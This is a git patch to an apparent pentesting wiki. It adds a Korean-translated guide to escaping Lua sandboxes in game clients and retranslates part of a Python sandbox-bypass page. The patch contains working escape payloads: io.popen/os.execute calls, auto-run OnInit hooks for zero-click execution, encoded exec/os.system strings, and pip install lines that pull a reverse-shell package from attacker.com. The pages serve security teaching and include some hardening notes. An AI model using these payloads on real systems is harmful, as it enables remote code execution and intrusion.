From 134986a1f5618775df230258d9bfa4d8177d56a7 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 10:53:51 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- src/SUMMARY.md | 13 +- .../lua/bypass-lua-sandboxes/README.md | 115 +++++++++++ .../python/bypass-python-sandboxes/README.md | 188 +++++++++--------- 3 files changed, 213 insertions(+), 103 deletions(-) create mode 100644 src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..343cdd455 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # ๐Ÿง™โ€โ™‚๏ธ Generic Hacking @@ -926,13 +928,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..b631a5758 --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,115 @@ +# Bypass Lua sandboxes (embedded VMs, game clients) + +{{#include ../../../banners/hacktricks-training.md}} + +์ด ํŽ˜์ด์ง€๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํŠนํžˆ game clients, plugins, ๋˜๋Š” in-app scripting engines)์— ๋‚ด์žฅ๋œ Lua "sandboxes"๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ํƒˆ์ถœํ•˜๋Š” ์‹ค์ „ ๊ธฐ๋ฒ•์„ ๋ชจ์•„๋†“์€ ๊ฒƒ์ด๋‹ค. ๋งŽ์€ ์—”์ง„์ด ์ œํ•œ๋œ Lua ํ™˜๊ฒฝ์„ ๋…ธ์ถœํ•˜์ง€๋งŒ, ๊ฐ•๋ ฅํ•œ globals์— ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ด io/os ๊ฐ™์€ ๊ฒƒ์ด ์—ด๋ ค ์žˆ๊ฑฐ๋‚˜ bytecode loaders๊ฐ€ ๋…ธ์ถœ๋˜๋ฉด ์ž„์˜ ๋ช…๋ น ์‹คํ–‰์ด๋‚˜ ์‹ฌ์ง€์–ด ๋„ค์ดํ‹ฐ๋ธŒ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ๊นŒ์ง€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. + +Key ideas: +- VM์„ ๋ฏธ์ง€์˜ ํ™˜๊ฒฝ์œผ๋กœ ์ทจ๊ธ‰ํ•˜๋ผ: _G๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ์–ด๋–ค ์œ„ํ—˜ํ•œ primitives์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋ฐœ๊ฒฌํ•˜๋ผ. +- stdout/print๊ฐ€ ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, ๊ฒฐ๊ณผ๋ฅผ ๊ด€์ฐฐํ•˜๊ธฐ ์œ„ํ•ด in-VM UI/IPC ์ฑ„๋„์„ ์ถœ๋ ฅ ์‹ฑํฌ๋กœ ๋‚จ์šฉํ•˜๋ผ. +- io/os๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ๋ณดํ†ต io.popen, os.execute๋ฅผ ํ†ตํ•ด ์ง์ ‘ ๋ช…๋ น ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค. +- load/loadstring/loadfile๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์กฐ์ž‘๋œ Lua bytecode๋ฅผ ์‹คํ–‰ํ•ด ์ผ๋ถ€ ๋ฒ„์ „(โ‰ค5.1์˜ verifier๋Š” ์šฐํšŒ ๊ฐ€๋Šฅ; 5.2๋Š” verifier ์ œ๊ฑฐ)์—์„œ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „์„ฑ์„ ๋ฌด๋„ˆ๋œจ๋ ค ๊ณ ๊ธ‰ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค. + +## Enumerate the sandboxed environment + +- ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ…Œ์ด๋ธ”/ํ•จ์ˆ˜๋“ค์„ ๋ชฉ๋กํ™”ํ•˜๊ธฐ ์œ„ํ•ด global environment๋ฅผ ๋คํ”„ํ•˜๋ผ: +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) +out("=== DUMPING _G ===") +for k, v in pairs(_G) do +out(tostring(k) .. " = " .. tostring(v)) +end +end +``` +- print()๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, in-VM ์ฑ„๋„์„ ๋‹ค๋ฅธ ์šฉ๋„๋กœ ์ „์šฉํ•˜์„ธ์š”. ์‚ฌ์šด๋“œ ํ˜ธ์ถœ ํ›„์—๋งŒ ์ฑ„ํŒ… ์ถœ๋ ฅ์ด ์ž‘๋™ํ•˜๋Š” MMO housing script VM์˜ ์˜ˆ๋กœ, ๋‹ค์Œ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ถœ๋ ฅ ํ•จ์ˆ˜๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค: +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) +-- Some engines require enabling an audio channel before speaking +H.PlaySound(0, "r[1]") -- quirk: required before H.Say() +return function(msg) +H.Say(label or 1, msg) +end +end + +function OnMenu(menuNum) +if menuNum ~= 3 then return end +local out = ButlerOut(1) +dump_globals(out) +end +``` +๋Œ€์ƒ์— ๋Œ€ํ•ด ์ด ํŒจํ„ด์„ ์ผ๋ฐ˜ํ™”ํ•˜์„ธ์š”: ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›๋Š” textbox, toast, logger ๋˜๋Š” UI callback์€ ์ •๋ณด์ˆ˜์ง‘์„ ์œ„ํ•œ stdout์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +## io/os๊ฐ€ ๋…ธ์ถœ๋œ ๊ฒฝ์šฐ ์ง์ ‘ ๋ช…๋ น ์‹คํ–‰ + +๋งŒ์•ฝ sandbox๊ฐ€ ์—ฌ์ „ํžˆ ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ io ๋˜๋Š” os๋ฅผ ๋…ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋Œ€๊ฐœ ์ฆ‰์‹œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` +์ฐธ๊ณ : +- ์‹คํ–‰์€ client process ๋‚ด๋ถ€์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. external debuggers๋ฅผ ์ฐจ๋‹จํ•˜๋Š” ๋งŽ์€ anti-cheat/antidebug ๊ณ„์ธต์ด in-VM process creation์„ ๋ง‰์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ๋˜ํ•œ ํ™•์ธ: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM). + +## Zero-click triggers via auto-run callbacks + +ํ˜ธ์ŠคํŠธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด scripts๋ฅผ clients๋กœ ํ‘ธ์‹œํ•˜๊ณ  VM์ด auto-run hooks (์˜ˆ: OnInit/OnLoad/OnEnter)๋ฅผ ๋…ธ์ถœํ•˜๋ฉด, ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋กœ๋“œ๋˜๋Š” ์ฆ‰์‹œ drive-by compromise๋ฅผ ์œ„ํ•ด payload๋ฅผ ๊ฑฐ๊ธฐ์— ๋ฐฐ์น˜ํ•˜์„ธ์š”: +```lua +function OnInit() +io.popen("calc.exe") -- or any command +end +``` +์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํด๋ผ์ด์–ธํŠธ๋กœ ์ „์†ก๋˜์–ด ์ž๋™์œผ๋กœ ์‹คํ–‰๋  ๋•Œ, OnLoad, OnEnter ๋“ฑ์˜ ๋™๋“ฑํ•œ ์ฝœ๋ฐฑ์ด ์ด ๊ธฐ๋ฒ•์„ ์ผ๋ฐ˜ํ™”ํ•ฉ๋‹ˆ๋‹ค. + +## recon ์ค‘ ์ฐพ์•„์•ผ ํ•  ์œ„ํ—˜ํ•œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ + +During _G enumeration, specifically look for: +- io, os: io.popen, os.execute, ํŒŒ์ผ I/O, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ ‘๊ทผ. +- load, loadstring, loadfile, dofile: ์†Œ์Šค ๋˜๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ ์‹คํ–‰; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ ๋กœ๋”ฉ ์ง€์›. +- package, package.loadlib, require: ๋™์  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋”ฉ ๋ฐ ๋ชจ๋“ˆ ์ธํ„ฐํŽ˜์ด์Šค. +- debug: setfenv/getfenv (โ‰ค5.1), getupvalue/setupvalue, getinfo, ๋ฐ hooks. +- LuaJIT-only: ffi.cdef, ffi.load๋ฅผ ์‚ฌ์šฉํ•ด ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋ฅผ ์ง์ ‘ ํ˜ธ์ถœ. + +Minimal usage examples (if reachable): +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` +## Optional escalation: abusing Lua bytecode loaders + +When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts: +- Lua โ‰ค 5.1 shipped a bytecode verifier that has known bypasses. +- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited. +- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution. + +์ด ๊ฒฝ๋กœ๋Š” ์—”์ง„/๋ฒ„์ „๋ณ„(engine/version-specific) ํŠน์„ฑ์ด ๊ฐ•ํ•˜๊ณ  RE๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ์‹ฌ์ธต ๋ถ„์„, exploitation primitives, ๊ฒŒ์ž„ ๋‚ด ์˜ˆ์ œ gadgetry ๋“ฑ์€ ์•„๋ž˜ references๋ฅผ ์ฐธ์กฐํ•˜๋ผ. + +## Detection and hardening notes (for defenders) + +- Server side: ์‚ฌ์šฉ์ž ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜ ์žฌ์ž‘์„ฑ; ์•ˆ์ „ํ•œ API๋งŒ์„ allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi๋ฅผ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ bind-empty๋กœ ์ฒ˜๋ฆฌ. +- Client side: minimal _ENV๋กœ Lua๋ฅผ ์‹คํ–‰; bytecode loading ๊ธˆ์ง€; ์—„๊ฒฉํ•œ bytecode verifier๋‚˜ ์„œ๋ช… ๊ฒ€์‚ฌ๋ฅผ ์žฌ๋„์ž…; ํด๋ผ์ด์–ธํŠธ ํ”„๋กœ์„ธ์Šค์—์„œ์˜ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ์ฐจ๋‹จ. +- Telemetry: script load ์งํ›„ gameclient โ†’ child process creation์— ๋Œ€ํ•ด ๊ฒฝ๋ณด; UI/chat/script ์ด๋ฒคํŠธ์™€ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„. + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index d41b12f13..89dd91ed7 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,13 @@ -# Bypass Python sandboxes +# Python sandboxes ์šฐํšŒํ•˜๊ธฐ {{#include ../../../banners/hacktricks-training.md}} -๋‹ค์Œ์€ python sandbox ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ณ  arbitrary commands๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ํŠธ๋ฆญ์ž…๋‹ˆ๋‹ค. +๋‹ค์Œ์€ python sandbox ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ณ  ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ํŠธ๋ฆญ์ž…๋‹ˆ๋‹ค. -## Command Execution Libraries -๊ฐ€์žฅ ๋จผ์ € ํ™•์ธํ•ด์•ผ ํ•  ๊ฒƒ์€ ์ด๋ฏธ import๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ง์ ‘ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ์•„๋‹ˆ๋ฉด ๋‹ค์Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค์„ importํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€์ž…๋‹ˆ๋‹ค: +## ๋ช…๋ น ์‹คํ–‰ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ + +๊ฐ€์žฅ ๋จผ์ € ์•Œ์•„์•ผ ํ•  ๊ฒƒ์€ ์ด๋ฏธ import๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ์ง์ ‘ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ๋˜๋Š” ๋‹ค์Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค์„ importํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€์ž…๋‹ˆ๋‹ค: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Remember that the _**open**_ and _**read**_ functions can be useful to **ํŒŒ์ผ์„ ์ฝ๋Š” ๊ฒƒ** inside the python sandbox and to **์ฝ”๋“œ๋ฅผ ์ž‘์„ฑ**ํ•ด์„œ **์‹คํ–‰**ํ•˜์—ฌ **bypass**ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. -> [!CAUTION] > **Python2 input()** ํ•จ์ˆ˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์ถฉ๋Œํ•˜๊ธฐ ์ „์— python ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +> [!CAUTION] > **Python2 input()** ํ•จ์ˆ˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ํฌ๋ž˜์‹œํ•˜๊ธฐ ์ „์— python ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -Python์€ **ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๋จผ์ € ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค** (๋‹ค์Œ ๋ช…๋ น์€ python์ด ๋ชจ๋“ˆ์„ ์–ด๋””์—์„œ ๋กœ๋“œํ•˜๋Š”์ง€ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค): `python3 -c 'import sys; print(sys.path)'` +Python์€ **ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๋จผ์ € ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œ**ํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค (๋‹ค์Œ ๋ช…๋ น์€ python์ด ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๋Š” ์œ„์น˜๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## ๊ธฐ๋ณธ ์„ค์น˜๋œ python ํŒจํ‚ค์ง€๋กœ pickle sandbox ์šฐํšŒํ•˜๊ธฐ +## ๊ธฐ๋ณธ์œผ๋กœ ์„ค์น˜๋œ python ํŒจํ‚ค์ง€๋กœ pickle sandbox๋ฅผ Bypass ### ๊ธฐ๋ณธ ํŒจํ‚ค์ง€ -์—ฌ๊ธฐ์—์„œ **์‚ฌ์ „ ์„ค์น˜๋œ** ํŒจํ‚ค์ง€ ๋ชฉ๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html]\ -pickle์—์„œ๋Š” python env๊ฐ€ ์‹œ์Šคํ…œ์— ์„ค์น˜๋œ ์ž„์˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ **import**ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.\ -์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ pickle์€ ๋กœ๋“œ๋˜๋ฉด pip ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ importํ•˜์—ฌ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค: +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ +For example, the following pickle, when loaded, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +67,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +pickle์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package -์ด ํŠธ๋ฆญ์€ **@isHaacK**๊ฐ€ ๊ณต์œ ํ–ˆ์Šต๋‹ˆ๋‹ค +ํŠธ๋ฆญ ๊ณต์œ ์ž: **@isHaacK** -๋งŒ์•ฝ `pip` ๋˜๋Š” `pip.main()`์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ž„์˜์˜ ํŒจํ‚ค์ง€๋ฅผ ์„ค์น˜ํ•˜๊ณ  ๋‹ค์Œ ํ˜ธ์ถœ๋กœ reverse shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ `pip` ๋˜๋Š” `pip.main()`์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ ํŒจํ‚ค์ง€๋ฅผ ์„ค์น˜ํ•˜๊ณ  ๋‹ค์Œ์„ ํ˜ธ์ถœํ•˜์—ฌ reverse shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -You can download the package to create the reverse shell here. Please, note that before using it you should **์••์ถ•์„ ํ•ด์ œํ•˜๊ณ , `setup.py`๋ฅผ ์ˆ˜์ •ํ•˜๊ณ , reverse shell์— ์‚ฌ์šฉํ•  IP๋ฅผ ๋„ฃ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**: +์—ฌ๊ธฐ์—์„œ reverse shell์„ ์ƒ์„ฑํ•˜๋Š” ํŒจํ‚ค์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉํ•˜๊ธฐ ์ „์— **์••์ถ•์„ ํ’€๊ณ , `setup.py`๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ reverse shell์˜ IP๋ฅผ ๋„ฃ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> ์ด ํŒจํ‚ค์ง€๋Š” `Reverse`๋ผ๋Š” ์ด๋ฆ„์ž…๋‹ˆ๋‹ค. ๋‹ค๋งŒ ํŠน๋ณ„ํžˆ ์ œ์ž‘๋˜์–ด reverse shell์„ ์ข…๋ฃŒํ•˜๋ฉด ๋‚˜๋จธ์ง€ ์„ค์น˜๊ฐ€ ์‹คํŒจํ•˜๋„๋ก ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ์ข…๋ฃŒ ์‹œ ์„œ๋ฒ„์— ์ถ”๊ฐ€์ ์ธ **python package๊ฐ€ ์„ค์น˜๋œ ์ƒํƒœ๋กœ ๋‚จ์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. +> ์ด ํŒจํ‚ค์ง€ ์ด๋ฆ„์€ `Reverse`์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ reverse shell์—์„œ ๋‚˜๊ฐˆ ๋•Œ ์„ค์น˜์˜ ๋‚˜๋จธ์ง€ ๊ณผ์ •์ด ์‹คํŒจํ•˜๋„๋ก ํŠน๋ณ„ํžˆ ์„ค๊ณ„๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ๋– ๋‚  ๋•Œ ์„œ๋ฒ„์— **์ถ”๊ฐ€์ ์ธ python ํŒจํ‚ค์ง€๊ฐ€ ์„ค์น˜๋œ ์ฑ„๋กœ ๋‚จ์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. -## Eval-ing python ์ฝ”๋“œ +## Eval-ing python code > [!WARNING] -> exec์€ ๋ฉ€ํ‹ฐ๋ผ์ธ ๋ฌธ์ž์—ด๊ณผ ";"๋ฅผ ํ—ˆ์šฉํ•˜์ง€๋งŒ, eval์€ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (walrus operator๋ฅผ ํ™•์ธํ•˜์„ธ์š”) +> exec๋Š” ๋ฉ€ํ‹ฐ๋ผ์ธ ๋ฌธ์ž์—ด๊ณผ ";"๋ฅผ ํ—ˆ์šฉํ•˜์ง€๋งŒ eval์€ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (walrus operator๋ฅผ ํ™•์ธํ•˜์„ธ์š”) -ํŠน์ • ๋ฌธ์ž๊ฐ€ ๊ธˆ์ง€๋˜์–ด ์žˆ๋‹ค๋ฉด **hex/octal/B64** ํ‘œํ˜„์„ ์‚ฌ์šฉํ•˜์—ฌ ์ œ์•ฝ์„ **bypass**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํŠน์ • ๋ฌธ์ž๊ฐ€ ๊ธˆ์ง€๋œ ๊ฒฝ์šฐ **hex/octal/B64** ํ‘œํ˜„์„ ์‚ฌ์šฉํ•˜์—ฌ ์ œ์•ฝ์„ **bypass**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### python ์ฝ”๋“œ๋ฅผ evalํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค +### python code๋ฅผ evalํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค ```python #Pandas import pandas as pd @@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -๋˜ํ•œ PDF ์ƒ์„ฑ๊ธฐ์—์„œ์˜ ์‹ค์ œ sandboxed evaluator escape ์‚ฌ๋ก€๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”: +๋˜ํ•œ PDF ์ƒ์„ฑ๊ธฐ์—์„œ ๋ฐœ์ƒํ•œ ์‹ค์ œ sandboxed evaluator escape ์‚ฌ๋ก€๋„ ์ฐธ์กฐํ•˜์„ธ์š”: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation โ†’ RCE (CVE-2023-33733). ์ด๋Š” rl_safe_eval์„ ์•…์šฉํ•˜์—ฌ ํ‰๊ฐ€๋œ ์†์„ฑ(์˜ˆ: ๊ธ€๊ผด ์ƒ‰์ƒ)์—์„œ function.__globals__์™€ os.system์— ์ ‘๊ทผํ•˜๊ณ  ๋ Œ๋”๋ง์„ ์•ˆ์ •์ ์œผ๋กœ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์œ ํšจํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation โ†’ RCE (CVE-2023-33733). ์ด ์ทจ์•ฝ์ ์€ rl_safe_eval์„ ์•…์šฉํ•ด ํ‰๊ฐ€๋œ ์†์„ฑ(์˜ˆ: font color)์œผ๋กœ๋ถ€ํ„ฐ function.__globals__์™€ os.system์— ์ ‘๊ทผํ•˜๊ณ , ๋ Œ๋”๋ง์„ ์•ˆ์ •์ ์œผ๋กœ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์œ ํšจํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. {{#ref}} 